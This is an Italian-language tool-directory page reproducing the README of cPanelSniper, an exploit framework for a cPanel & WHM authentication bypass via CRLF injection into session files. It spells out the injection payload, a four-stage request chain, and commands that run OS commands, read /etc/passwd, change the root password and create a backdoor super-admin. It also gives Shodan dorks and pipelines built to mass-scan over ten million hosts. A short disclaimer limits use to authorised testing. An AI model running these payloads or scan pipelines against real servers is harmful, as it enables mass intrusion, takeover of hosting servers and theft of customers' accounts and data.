Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cpsniper — cPanelSniper STABLE - CVE-2026-41940 ottimizzato per oltre 10 milioni di obiettivi | Kitploit
Strumenti/GitHubGitHub/44pie/cpsniper
Autenticazione e AutorizzazioneScanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitPenetration TestingCommand and ControlRed Teaming
GitHub44pie/cpsniper

cpsniper

cPanelSniper STABLE - CVE-2026-41940 ottimizzato per oltre 10 milioni di obiettivi

Vedi Repository
23 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — Bypass dell'autenticazione cPanel & WHM tramite iniezione CRLF nel file di sessione
Catena di exploit in 4 fasi · Shell WHM interattiva · VERAMENTE STABILE per oltre 10 milioni di target · Zero utilizzo di memoria · solo stdlib


Panoramica

cPanelSniper è un framework di sfruttamento mirato per CVE-2026-41940, una vulnerabilità critica di bypass dell'autenticazione che colpisce cPanel & WHM. La vulnerabilità consente a utenti remoti non autenticati di ottenere accesso WHM a livello root iniettando sequenze CRLF nel file di sessione tramite l'header HTTP Authorization — senza alcuna credenziale valida.

  • Punteggio CVSS: 10.0 (Critico)
  • Sfruttamento in natura: Confermato (aprile 2026)
  • Installazioni interessate: ~70 milioni di domini che eseguono cPanel & WHM
  • Nessuna dipendenza: Solo stdlib Python puro — niente pip, niente requests, niente pacchetti esterni

Solo per test di penetrazione autorizzati e programmi di bug bounty.


⚡ VERSIONE VERAMENTE STABILE

Questa versione è ottimizzata per la scansione di oltre 10.000.000 di target con ZERO utilizzo di memoria.

Cosa è stato corretto

Caratteristiche principali

  • Architettura di streaming - Elabora oltre 10M di target senza caricarli in memoria
  • Zero crash OOM - Anche con elenchi di target molto grandi
  • Ripresa automatica - Continua da dove ti eri fermato con --resume
  • Avanzamento in tempo reale - ETA, velocità di scansione, monitoraggio errori
  • Salvataggi periodici - I risultati vengono salvati automaticamente per prevenire la perdita di dati
  • Pronto per pipeline - Funziona perfettamente con subfinder, httpx, shodan

Come funziona

La causa principale risiede in Session.pm: la funzione saveSession() chiama filter_sessiondata() dopo aver scritto il file di sessione su disco. Ciò significa che i caratteri CRLF incorporati nel valore dell'header Authorization: Basic vengono scritti letteralmente nel file di sessione, iniettando campi controllati dall'attaccante prima della sanificazione.

root@kitploit:~
Flusso normale:
  POST /login/ → filter_sessiondata() → scrivi sessione → controllo auth

Flusso vulnerabile:
  POST /login/ → scrivi sessione (payload CRLF iniettato) → filter_sessiondata() → il controllo auth legge il file avvelenato

Il payload CRLF

Il valore Authorization: Basic decodificato è:

root@kitploit:~
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Questi campi vengono scritti direttamente nel file di sessione su disco. Quando vengono riletti, cPanel tratta la sessione come una sessione root completamente autenticata.

Catena di exploit in 4 fasi

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  Fase 0 — Scoperta del nome host canonico                   │
│  GET /openid_connect/cpanelid → 307 → nome host reale       │
├─────────────────────────────────────────────────────────────┤
│  Fase 1 — Creazione sessione preauth                        │
│  POST /login/?login_only=1  (credenziali errate)            │
│  ← 401 + cookie whostmgrsession                             │
├─────────────────────────────────────────────────────────────┤
│  Fase 2 — Iniezione CRLF                                    │
│  GET / + Cookie: session + Authorization: Basic <payload>   │
│  cpsrvd scrive i campi CRLF nel file di sessione            │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  Fase 3 — Propagazione (gadget do_token_denied)             │
│  GET /scripts2/listaccts                                    │
│  Attiva il flush raw→cache — i campi iniettati diventano attivi │
│  ← 401 Token negato (previsto)                              │
├─────────────────────────────────────────────────────────────┤
│  Fase 4 — Verifica accesso root WHM                         │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = COMPROMESSO    │
└─────────────────────────────────────────────────────────────┘

Versioni interessate


Installazione

root@kitploit:~
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help

Nessuna installazione pip richiesta. Solo stdlib Python 3.8+ puro.


Utilizzo

Scansione di base

root@kitploit:~
# Target singolo — solo scansione
python3 cPanelSniper.py -u https://target.com:2087

# Target singolo — shell interattiva dopo il bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Elenco di target ampio — oltre 10M di target (VERAMENTE STABILE)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# Riprendi scansione interrotta
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

Azioni post-exploit

root@kitploit:~
# Elenca tutti gli account cPanel sul server
python3 cPanelSniper.py -u https://target.com:2087 --action list

# Esegui comando OS
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# Ottieni informazioni sul server (hostname, carico, disco, host MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# Ottieni versione cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version

# Cambia password root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# Shell WHM interattiva
python3 cPanelSniper.py -u https://target.com:2087 --action shell

Pipeline (VERAMENTE STABILE per elenchi di grandi dimensioni)

root@kitploit:~
# subfinder → httpx → salva su file → scansiona oltre 10M di target
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# Dall'elenco di scope - gestisci milioni di domini
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

# Risultati Shodan - scansione massiccia
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json

# Pipe stdin - solo per elenchi piccoli (<100K)
echo "https://target.com:2087" | python3 cPanelSniper.py

# Più fonti combinate → scansione su larga scala
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 > all_targets.txt
python3 cPanelSniper.py -l all_targets.txt -t 50 -o results.json --resume

Migliori pratiche VERAMENTE STABILI

Per la scansione di oltre 10M di target:

  1. Salva sempre prima su file - Non usare pipe dirette per elenchi di grandi dimensioni

    root@kitploit:~
    # BUONO - funziona con oltre 10M di target
    httpx ... > targets.txt
    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
    
    # CATTIVO - andrà in crash con elenchi di grandi dimensioni
    httpx ... | python3 cPanelSniper.py
    
  2. Usa un numero di thread appropriato

    • 10-20 thread: 100K target
    • 30-50 thread: 1M-10M target
    • 50-100 thread: oltre 10M di target
  3. Abilita la ripresa automatica per scansioni lunghe

    root@kitploit:~
    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
    

    Se interrotta, esegui di nuovo con --resume

  4. Monitora l'avanzamento

    • ETA mostrata in tempo reale
    • Risultati salvati ogni 60 secondi
    • Ctrl+C preserva tutti i risultati

Shell WHM interattiva

Dopo un bypass riuscito, il flag --action shell apre un prompt interattivo:

root@kitploit:~
════════════════════════════════════════════════════════════
  Shell WHM — target.com
  Versione: CVE-2026-41940 | Auth: bypass CRLF
  Digita 'help' per i comandi, 'exit' per uscire
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [Account cPanel]  target.com:2087 (47 utenti)
    user01               dominio: example.com    email: [email protected]
    user02               dominio: shop.com       email: [email protected]
    ...

[email protected] ▶ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...

[email protected] ▶ info
  [Info Server]  https://target.com:2087
  hostname: srv01.target.com
  carico: 0.72 / 0.66 / 0.69
  versione: 11.130.0.6

[email protected] ▶ addadmin mitsec P@ss2026!
  [AMMINISTRATORE BACKDOOR CREATO]
  Target   : https://target.com:2087
  Utente   : mitsec
  Password : P@ss2026!
  Profilo  : super_admin

[email protected] ▶ exit

Comandi della shell


Riferimento CLI

root@kitploit:~
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--resume]
                       [-o OUTPUT] [--no-color] [--save-interval N]

Target:
  -u, --url URL          URL target singolo (es. https://host:2087)
  -l, --list LIST        File con URL (uno per riga)
  --hostname HOSTNAME    Sovrascrivi header Host canonico (auto-scoperto)

Scansione:
  -t, --threads N        Thread concorrenti (predefinito: 20)
  --timeout N            Secondi di timeout richiesta (predefinito: 15)
  --resume               Riprendi dalla scansione precedente (salta target elaborati)

Output:
  -o, --output FILE      Salva risultati su file JSON
  --no-color             Disabilita colori ANSI
  --save-interval N      Salva risultati ogni N secondi (predefinito: 60)

Dork Shodan

root@kitploit:~
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087

Esempio di output

root@kitploit:~
   ██████╗██████╗  █████╗ ███╗  ██╗███████╗██╗
  ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
  ...

  CVE-2026-41940 — Bypass auth cPanel & WHM tramite iniezione CRLF
  4 fasi: preauth → iniezione CRLF → propagazione → verifica → post-exploit
  In-The-Wild | CVSS 10.0 | Di Mitsec (@ynsmroztas)

  Configurazione:
   Target   : 1
   Thread   : 10
   Timeout  : 15s
   Azione   : list

14:46:22 [SCAN] Avvio catena di exploit in 4 fasi... https://target.com:2087
14:46:23 [INFO] Hostname canonico scoperto: srv01.target.com
14:46:23 [STEP] Fase 1/4 — Creazione sessione preauth...
14:46:23 [  OK] Fase1: sessione preauth = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] Fase 2/4 — Iniezione CRLF tramite header Authorization...
14:46:24 [  OK] Fase2: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] Fase 3/4 — Attivazione gadget do_token_denied (raw→cache)...
14:46:25 [  OK] Fase3: HTTP 401 — gadget do_token_denied attivato
14:46:25 [STEP] Fase 4/4 — Verifica accesso root WHM...
14:46:26 [PWND] CVE-2026-41940 CONFERMATO — accesso root WHM!
14:46:26 [PWND]   Token    : /cpsess8493537756
14:46:26 [PWND]   Versione : 11.130.0.6
14:46:26 [PWND]   URL API  : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] Esecuzione azione post-exploit: list
14:46:27 [ API] listaccts → HTTP 200

  [Account cPanel]  target.com:2087 (47 account)
    client01    dominio: client01.com    email: [email protected]
    client02    dominio: client02.net    email: [email protected]
    ...

══════════════════════════════════════════════════════════════════════
  cPanelSniper — Scansione completata
  Tempo: 5.8s  ·  Target: 1

  ⚡ 1 TARGET VULNERABILE(I)

  Target   : https://target.com:2087
  Versione : 11.130.0.6
  Token    : /cpsess8493537756
  URL API  : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════

Dettagli tecnici

Iniezione nel file di sessione

Il valore Authorization: Basic iniettato (decodificato in base64) contiene sequenze CRLF che diventano nuove righe nel file di sessione cPanel:

root@kitploit:~
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1

Il lettore di sessioni di cPanel interpreta questi come campi di sessione legittimi, concedendo pieno accesso root WHM.

Fase 3 — Il gadget do_token_denied

Il passaggio critico e spesso trascurato: dopo l'iniezione CRLF (Fase 2), i dati di sessione avvelenati esistono solo nel file di sessione grezzo. Una richiesta a /scripts2/listaccts attiva il gestore interno do_token_denied, che scarica i dati di sessione grezzi nella cache di sessione. Senza questo flush, la Fase 4 restituirebbe un 403.

Estrazione del token di sessione

root@kitploit:~
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
                              ^              ^
                              |              +-- hash ob (rimosso)
                              +-- nome sessione (usato per l'iniezione)

Il nome della sessione (prima di %2C) viene estratto e utilizzato come valore del cookie per le richieste successive.


Riferimenti

  • watchTowr Labs — Analisi tecnica CVE-2026-41940
  • Advisory di sicurezza cPanel
  • NVD — CVE-2026-41940
  • Blog Hadrian — Analisi CVE-2026-41940
  • Modello Nuclei — CVE-2026-41940

Disclaimer

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e programmi di bug bounty. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità e non è responsabile di alcun uso improprio o danno causato da questo strumento. Ottieni sempre la dovuta autorizzazione scritta prima di testare.


Autore

Mitsec — @ynsmroztas

  • 🏆 Top Hacker — Intigriti
  • 🐛 2.430+ vulnerabilità divulgate
  • 💀 1.100+ risultati critici P1
  • 🏅 100+ riconoscimenti Hall of Fame

Realizzato con ❤️ da @ynsmroztas

Scarica lo strumento
ProblemaVersione originaleVersione corretta
Utilizzo memoriaCarica tutti i target in RAMTrasmette i target riga per riga (0 memoria)
10M targetOOM → Terminato ❌Completamento riuscito ✅
RipresaNon supportataFlag --resume
AvanzamentoNessuna ETAETA in tempo reale + velocità + statistiche
RisultatiSalvati solo alla fineSalvati ogni 60s (configurabile)
RamoVulnerabileCorretta
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5
ComandoDescrizione
id / whoamiMostra UID e hostname
hostnameOttieni hostname del server
versionInfo versione cPanel
infoCarico, disco, host MySQL, versione
accountsElenca tutti gli account utente cPanel
cat <path>Leggi contenuto file
ls [path]Elenca directory
exec <cmd>Esegui comando OS
addadmin <user> <pass>Crea amministratore WHM backdoor
passwd <pass>Cambia password root
api <endpoint> [k=v ...]Chiamata API JSON WHM grezza
helpMostra tutti i comandi
exitEsci dalla shell